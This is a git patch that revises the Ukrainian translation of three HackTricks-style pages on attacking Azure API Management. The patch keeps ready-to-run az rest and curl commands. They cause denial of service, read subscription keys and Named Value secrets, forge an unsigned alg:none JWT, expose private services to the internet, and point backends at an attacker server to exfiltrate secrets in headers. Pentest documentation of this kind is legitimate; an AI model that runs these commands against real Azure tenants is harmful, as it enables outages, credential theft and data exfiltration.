From dd2eaf649c94e68042a99b0205c8cf54c8093f6c Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 26 Dec 2025 18:52:06 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/azure-security/az-services/az-api- --- .../az-api-management-post-exploitation.md | 14 +++--- .../az-api-management-privesc.md | 48 ++++++++++--------- .../az-services/az-api-management.md | 30 ++++++------ 3 files changed, 47 insertions(+), 45 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md index d7f7e1245..f50500346 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md @@ -3,7 +3,7 @@ {{#include ../../../banners/hacktricks-training.md}} ## `Microsoft.ApiManagement/service/apis/policies/write` or `Microsoft.ApiManagement/service/policies/write` -Attacker може використовувати кілька векторів, щоб спричинити denial of service. Щоб блокувати legitimate traffic, attacker додає rate-limiting і quota policies з надзвичайно низькими значеннями, фактично перешкоджаючи нормальному доступу: +Зловмисник може використовувати кілька векторів для спричинення denial of service. Щоб заблокувати легітимний трафік, зловмисник додає rate-limiting і quota policies з надзвичайно низькими значеннями, фактично перешкоджаючи нормальному доступу: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ @@ -15,7 +15,7 @@ az rest --method PUT \ } }' ``` -Щоб заблокувати конкретні легітимні IP-адреси клієнтів, зловмисник може додати політики фільтрації IP, які відхиляють запити з обраних адрес: +Щоб заблокувати конкретні легітимні IP-адреси клієнтів, атакуючий може додати політики фільтрації IP, які відхиляють запити з вибраних адрес: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ @@ -27,8 +27,8 @@ az rest --method PUT \ } }' ``` -## `Microsoft.ApiManagement/service/backends/write` or `Microsoft.ApiManagement/service/backends/delete` -Щоб спричинити відмову запитів, атакуючий може змінити конфігурацію backend, замінивши її URL на недійсну або недосяжну адресу: +## `Microsoft.ApiManagement/service/backends/write` або `Microsoft.ApiManagement/service/backends/delete` +Щоб спричинити відмову запитів, зловмисник може змінити конфігурацію backend і вказати для її URL недійсну або недоступну адресу: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ @@ -40,7 +40,7 @@ az rest --method PUT \ } }' ``` -Або видалити бекенди: +Або видалити backends: ```bash az rest --method DELETE \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ @@ -54,7 +54,7 @@ az rest --method DELETE \ --headers "If-Match=*" ``` ## `Microsoft.ApiManagement/service/write` or `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action` -Щоб заблокувати доступ з Інтернету, зловмисник може вимкнути публічний доступ до мережі для API Management service: +Щоб заблокувати доступ з Інтернету, зловмисник може вимкнути публічний мережевий доступ до служби API Management: ```bash az rest --method PATCH \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" \ @@ -66,7 +66,7 @@ az rest --method PATCH \ }' ``` ## `Microsoft.ApiManagement/service/subscriptions/delete` -Щоб заблокувати доступ легітимних користувачів, зловмисник може видалити підписки API Management: +Щоб заблокувати доступ легітимним користувачам, зловмисник може видалити API Management subscriptions: ```bash az rest --method DELETE \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//subscriptions/?api-version=2024-05-01" \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md index f1aa43743..5ac4f26f8 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md @@ -4,31 +4,31 @@ ## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action` -Атака полягає у доступі до конфіденційних секретів, збережених у Azure API Management Named Values — або шляхом безпосереднього отримання значень секретів, або зловживання дозволами для отримання Key Vault–backed secrets через managed identities. +Атака полягає в отриманні доступу до конфіденційних secrets, що зберігаються в Azure API Management Named Values, або шляхом прямого витягання значень secrets, або зловживанням дозволами для отримання Key Vault–backed secrets через managed identities. ```bash az apim nv show-secret --resource-group --service-name --named-value-id ``` ## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action` -Для кожної підписки атакуючий може отримати ключі підписки, використовуючи endpoint listSecrets з методом POST: +Для кожної підписки зловмисник може отримати ключі підписки, використовуючи endpoint listSecrets методом POST: ```bash az rest --method POST \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//subscriptions//listSecrets?api-version=2024-05-01" ``` -У відповіді містяться первинний ключ підписки (primaryKey) та вторинний ключ (secondaryKey). З цими ключами зловмисник може автентифікуватися та отримати доступ до API, опублікованих через API Management Gateway: +У відповіді містяться subscription primary key (primaryKey) та secondary key (secondaryKey). З цими ключами attacker може аутентифікуватися та отримати доступ до APIs, опублікованих через API Management Gateway: ```bash curl -H "Ocp-Apim-Subscription-Key: " \ https://.azure-api.net/ ``` -Зловмисник може отримати доступ до всіх API та продуктів, пов'язаних із підпискою. Якщо підписка має доступ до конфіденційних продуктів або API, зловмисник може отримати конфіденційну інформацію або виконати несанкціоновані операції. +Зловмисник може отримати доступ до всіх APIs та продуктів, пов'язаних з підпискою. Якщо підписка має доступ до конфіденційних продуктів або APIs, зловмисник може отримати конфіденційну інформацію або виконати несанкціоновані операції. -## `Microsoft.ApiManagement/service/policies/write` або `Microsoft.ApiManagement/service/apis/policies/write` +## `Microsoft.ApiManagement/service/policies/write` or `Microsoft.ApiManagement/service/apis/policies/write` Зловмисник спочатку отримує поточну політику API: ```bash az rest --method GET \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/?api-version=2024-05-01&format=rawxml" ``` -Атакувальник може змінити політику різними способами залежно від своїх цілей. Наприклад, щоб вимкнути автентифікацію, якщо політика містить JWT token validation, атакувальник може видалити або закоментувати цей розділ: +Зловмисник може змінити політику кількома способами залежно від своїх цілей. Наприклад, щоб відключити автентифікацію, якщо політика включає JWT token validation, зловмисник може видалити або закоментувати цю секцію: ```xml @@ -49,7 +49,7 @@ az rest --method GET \ ``` -Щоб вимкнути контролі rate limiting та дозволити атаки denial-of-service, зловмисник може видалити або закоментувати політики quota та rate-limit: +Щоб видалити rate limiting controls і дозволити denial-of-service атаки, зловмисник може видалити або закоментувати політики quota і rate-limit: ```xml @@ -61,7 +61,7 @@ az rest --method GET \ ... ``` -Щоб змінити backend route і перенаправити трафік на attacker-controlled server: +Щоб змінити маршрут backend і перенаправити трафік на сервер, контрольований атакуючим: ```xml ... @@ -72,7 +72,7 @@ az rest --method GET \ ... ``` -Зловмисник потім застосовує змінену політику. Тіло запиту має бути JSON-об'єктом, що містить політику у форматі XML: +Потім зловмисник застосовує змінену політику. Тіло запиту має бути JSON-об'єктом, що містить політику у форматі XML: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ @@ -84,33 +84,35 @@ az rest --method PUT \ } }' ``` -## JWT Validation Misconfiguration +## Неправильна конфігурація валідації JWT -Атакуючому потрібно знати, що API використовує перевірку JWT токенів і що політика налаштована неправильно. Неправильно налаштовані політики валідації JWT можуть містити `require-signed-tokens="false"` або `require-expiration-time="false"`, що дозволяє сервісу приймати непідписані токени або токени, що ніколи не закінчуються. +Атакувальник має знати, що API використовує валідацію JWT-токенів і що політика налаштована неправильно. -Атакуючий створює шкідливий JWT токен, використовуючи алгоритм none (непідписаний): +Неправильно налаштовані політики валідації JWT можуть містити `require-signed-tokens="false"` або `require-expiration-time="false"`, що дозволяє сервісу приймати непідписані токени або токени, термін дії яких ніколи не спливає. + +Атакувальник створює шкідливий JWT-токен, використовуючи алгоритм none (непідписаний): ``` # Header: {"alg":"none"} # Payload: {"sub":"user"} eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0. ``` -attacker надсилає запит до API, використовуючи malicious token: +Зловмисник надсилає запит до API, використовуючи шкідливий токен: ```bash curl -X GET \ -H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \ https://.azure-api.net/path ``` -Якщо політика неправильно налаштована з `require-signed-tokens="false"`, сервіс прийматиме непідписаний токен. Атакувальник також може створити токен без заяви про термін дії, якщо `require-expiration-time="false"`. +Якщо політика неправильно налаштована з `require-signed-tokens="false"`, сервіс прийме непідписаний токен. Атакуючий також може створити токен без поля терміну дії, якщо `require-expiration-time="false"`. ## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action` -Атакувальник спочатку перевіряє поточну мережеву конфігурацію сервісу: +Атакуючий спочатку перевіряє поточну мережеву конфігурацію сервісу: ```bash az rest --method GET \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" ``` -Атакувальник переглядає JSON-відповідь, щоб перевірити значення `publicNetworkAccess` та `virtualNetworkType`. Якщо `publicNetworkAccess` встановлено в false або `virtualNetworkType` встановлено в Internal, сервіс налаштований на приватний доступ. +Атакуючий переглядає JSON-відповідь, щоб перевірити значення `publicNetworkAccess` і `virtualNetworkType`. Якщо `publicNetworkAccess` встановлено в false або `virtualNetworkType` встановлено в Internal, сервіс налаштований для приватного доступу. -Щоб відкрити сервіс в Інтернеті, атакувальник має змінити обидва параметри. Якщо сервіс працює в internal-режимі (`virtualNetworkType: "Internal"`), атакувальник змінює його на None або External і вмикає public network access. Це можна зробити за допомогою Azure Management API: +Щоб відкрити сервіс в Інтернеті, атакуючий повинен змінити обидва параметри. Якщо сервіс працює в режимі Internal (`virtualNetworkType: "Internal"`), атакуючий змінює його на None або External та вмикає публічний мережевий доступ. Це можна зробити за допомогою Azure Management API: ```bash az rest --method PATCH \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" \ @@ -122,20 +124,20 @@ az rest --method PATCH \ } }' ``` -Після того як `virtualNetworkType` встановлено в `None` або `External`, а `publicNetworkAccess` увімкнено, сервіс та всі його API стають доступними з Інтернету, навіть якщо раніше вони були захищені приватною мережею або приватними кінцевими точками. +Як тільки `virtualNetworkType` встановлено в `None` або `External`, а `publicNetworkAccess` увімкнено, сервіс і всі його APIs стають доступними з Інтернету, навіть якщо раніше вони були захищені за приватною мережею або приватними кінцевими точками. ## `Microsoft.ApiManagement/service/backends/write` -Зловмисник спочатку перелічує наявні backends, щоб визначити, який із них змінити: +Зловмисник спочатку перераховує існуючі backends, щоб визначити, який із них змінити: ```bash az rest --method GET \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends?api-version=2024-05-01" ``` -Атакувальник отримує поточну конфігурацію того backend, який хоче змінити: +Зловмисник отримує поточну конфігурацію backend, яку хоче змінити: ```bash az rest --method GET \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" ``` -Зловмисник змінює backend URL так, щоб він вказував на сервер під їхнім контролем. Спочатку вони отримують ETag із попередньої відповіді, а потім оновлюють backend: +Атакувальник змінює URL бекенда так, щоб він вказував на сервер під їхнім контролем. Спочатку вони отримують ETag із попередньої відповіді, а потім оновлюють бекенд: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ @@ -148,7 +150,7 @@ az rest --method PUT \ } }' ``` -Як альтернативу, атакуючий може налаштувати backend headers, щоб exfiltrate Named Values, які містять секрети. Це робиться через backend credentials configuration: +Альтернативно, зловмисник може налаштувати backend headers для exfiltrate Named Values, що містять секрети. Це робиться через конфігурацію backend credentials: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ @@ -165,6 +167,6 @@ az rest --method PUT \ } }' ``` -За цією конфігурацією Named Values надсилаються як заголовки в усіх запитах до бекенду, контрольованого атакуючим, що дозволяє ексфільтрацію конфіденційних секретів. +З цією конфігурацією Named Values надсилаються як заголовки в усіх запитах до бекенду, контрольованого атакуючим, що дозволяє експфільтрацію конфіденційних секретів. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-api-management.md b/src/pentesting-cloud/azure-security/az-services/az-api-management.md index 51af7dc05..7de574671 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-api-management.md +++ b/src/pentesting-cloud/azure-security/az-services/az-api-management.md @@ -4,41 +4,41 @@ ## Основна інформація -Azure API Management (APIM) — це повністю керований сервіс, який пропонує **уніфіковану платформу для публікації, захисту, трансформації, управління та моніторингу APIs**. Він дозволяє організаціям **централізувати свою API** стратегію та забезпечувати послідовне управління, продуктивність і безпеку для всіх їхніх сервісів. Діючи як шар абстракції між бекенд-сервісами та споживачами API, APIM спрощує інтеграцію та підвищує підтримуваність, забезпечуючи при цьому необхідні оперативні та безпекові можливості. +Azure API Management (APIM) — це повністю керований сервіс, який пропонує **єдину платформу для публікації, захисту, трансформації, управління та моніторингу API**. Він дозволяє організаціям **централізувати свою API-стратегію** та забезпечувати послідовне управління, продуктивність і безпеку для всіх їхніх сервісів. Діючи як шар абстракції між бекенд-сервісами та споживачами API, APIM спрощує інтеграцію і підвищує підтримуваність, надаючи при цьому необхідні операційні та безпекові можливості. ## Основні концепції -**The API Gateway** слугує єдиною точкою входу для всього API-трафіку, виконуючи такі функції, як маршрутизація запитів до бекенд-сервісів, застосування обмежень швидкості (rate limits), кешування відповідей та керування аутентифікацією й авторизацією. Цей gateway повністю хоститься та керується Azure, що гарантує високу доступність і масштабованість. +**The API Gateway** слугує єдиною точкою входу для всього API-трафіку, виконуючи такі функції, як маршрутизація запитів до бекенд-сервісів, застосування обмежень швидкості, кешування відповідей та керування автентифікацією й авторизацією. Цей шлюз повністю хоститься і управляється Azure, що гарантує високу доступність і масштабованість. -**The Developer Portal** надає середовище самообслуговування, де споживачі API можуть знаходити доступні API, читати документацію та тестувати кінцеві точки. Це спрощує процес онбордингу, надаючи інтерактивні інструменти та доступ до інформації про підписки. +**The Developer Portal** надає середовище самообслуговування, де споживачі API можуть знаходити доступні API, читати документацію та тестувати кінцеві точки. Це спрощує процес підключення, надаючи інтерактивні інструменти й доступ до інформації про підписки. -**The Management Portal (Management Plane)** використовується адміністраторами для конфігурації та підтримки сервісу APIM. Звідси користувачі можуть визначати APIs і операції, налаштовувати контроль доступу, застосовувати політики, керувати користувачами та організовувати APIs у продукти. Цей портал централізує адміністрування та забезпечує послідовне управління API. +**The Management Portal (Management Plane)** використовується адміністраторами для налаштування та підтримки сервісу APIM. З цього порталу користувачі можуть визначати API й операції, налаштовувати контроль доступу, застосовувати Policies, керувати користувачами та організовувати API у продукти. Цей портал централізує адміністрування та забезпечує послідовне управління API. ## Аутентифікація та авторизація -Azure API Management підтримує кілька механізмів **authentication**, щоб захистити доступ до API. До них відносяться **subscription keys**, **OAuth 2.0 tokens** і **client certificates**. APIM також нативно інтегрується з **Microsoft Entra ID**, що дозволяє забезпечити **enterprise-level identity management** та **secure access** як до APIs, так і до бекенд-сервісів. +Azure API Management підтримує кілька **механізмів аутентифікації** для захисту доступу до API. Серед них — **subscription keys**, **OAuth 2.0 tokens** та **client certificates**. APIM також нативно інтегрується з **Microsoft Entra ID**, забезпечуючи **управління ідентичностями корпоративного рівня** та **безпечний доступ** як до API, так і до бекенд-сервісів. -## Політики +## Policies -Політики в APIM дозволяють адміністраторам налаштовувати **обробку запитів і відповідей** на різних рівнях деталізації, включно з рівнями **service**, **API**, **operation** або **product**. За допомогою політик можна здійснювати **JWT token validation**, трансформувати XML або JSON payloads, застосовувати rate limiting, обмежувати виклики за IP-адресою або аутентифікуватися проти бекенду, використовуючи managed identities. Політики є **дуже гнучкими** і формують одну з **ключових сильних сторін** платформи API Management, дозволяючи **тонко керувати поведінкою під час виконання** без змін у бекенд-коді. +Policies в APIM дозволяють адміністраторам налаштовувати **обробку запитів і відповідей** на різних рівнях деталізації, включаючи рівні **service**, **API**, **operation** або **product**. Через policies можна виконувати **JWT token validation**, **перетворювати XML або JSON payloads**, **застосовувати обмеження швидкості**, **обмежувати виклики за IP-адресою** або **автентифікуватися проти бекенд-сервісів за допомогою managed identities**. Policies є **надзвичайно гнучкими** і становлять одну з **ключових переваг** платформи API Management, дозволяючи **тонке керування поведінкою в рантаймі** без зміни бекенд-коду. ## Named Values -Сервіс надає механізм під назвою **Named Values**, який дозволяє зберігати **конфігураційну інформацію**, таку як **секрети**, **API keys** або інші значення, необхідні для політик. +Сервіс надає механізм під назвою **Named Values**, який дозволяє зберігати **інформацію конфігурації**, таку як **secrets**, **API keys** або інші значення, необхідні для policies. -Ці значення можна зберігати безпосередньо в APIM або безпечно посилатися на них через **Azure Key Vault**. Named Values сприяють **безпечному та централізованому управлінню** конфігураційними даними та спрощують написання політик, дозволяючи використовувати **повторно вживані посилання** замість захардкожених значень. +Ці значення можна зберігати безпосередньо в APIM або безпечно посилатися на них з **Azure Key Vault**. Named Values сприяють **безпечному та централізованому управлінню** конфігураційними даними та спрощують написання policies, дозволяючи використовувати **повторно застосовувані посилання** замість захардкожених значень. -## Мережеві інтеграції та безпека +## Мережі та інтеграція безпеки -Azure API Management безшовно інтегрується з **virtual network environments**, що дозволяє забезпечити **приватне та безпечне підключення** до бекенд-систем. +Azure API Management безшовно інтегрується з **virtual network environments**, забезпечуючи **приватне та безпечне підключення** до бекенд-систем. -Коли APIM розгорнуто всередині **Virtual Network (VNet)**, він може отримувати доступ до **внутрішніх сервісів** без їхнього публічного виставлення. Сервіс також дозволяє налаштовувати **custom certificates** для підтримки **mutual TLS authentication** з бекенд-сервісами, що підвищує безпеку в сценаріях, де потрібна **сильна валідація ідентичності**. +При розгортанні всередині **Virtual Network (VNet)** APIM може отримувати доступ до **internal services**, не роблячи їх публічно доступними. Сервіс також дозволяє налаштовувати **custom certificates** для підтримки **mutual TLS authentication** з бекенд-сервісами, підвищуючи безпеку в сценаріях, де необхідна **строга валідація ідентичності**. -Ці **мережеві можливості** роблять APIM придатним як для **cloud-native**, так і для **hybrid architectures**. +Ці **networking features** роблять APIM придатним як для **cloud-native**, так і для **hybrid architectures**. -### Перерахування +### Перелічення -Щоб перерахувати сервіс API Management: +Щоб перерахувати сервіс APIM: ```bash # Lists all Named Values configured in the Azure API Management instance az apim nv list --resource-group --service-name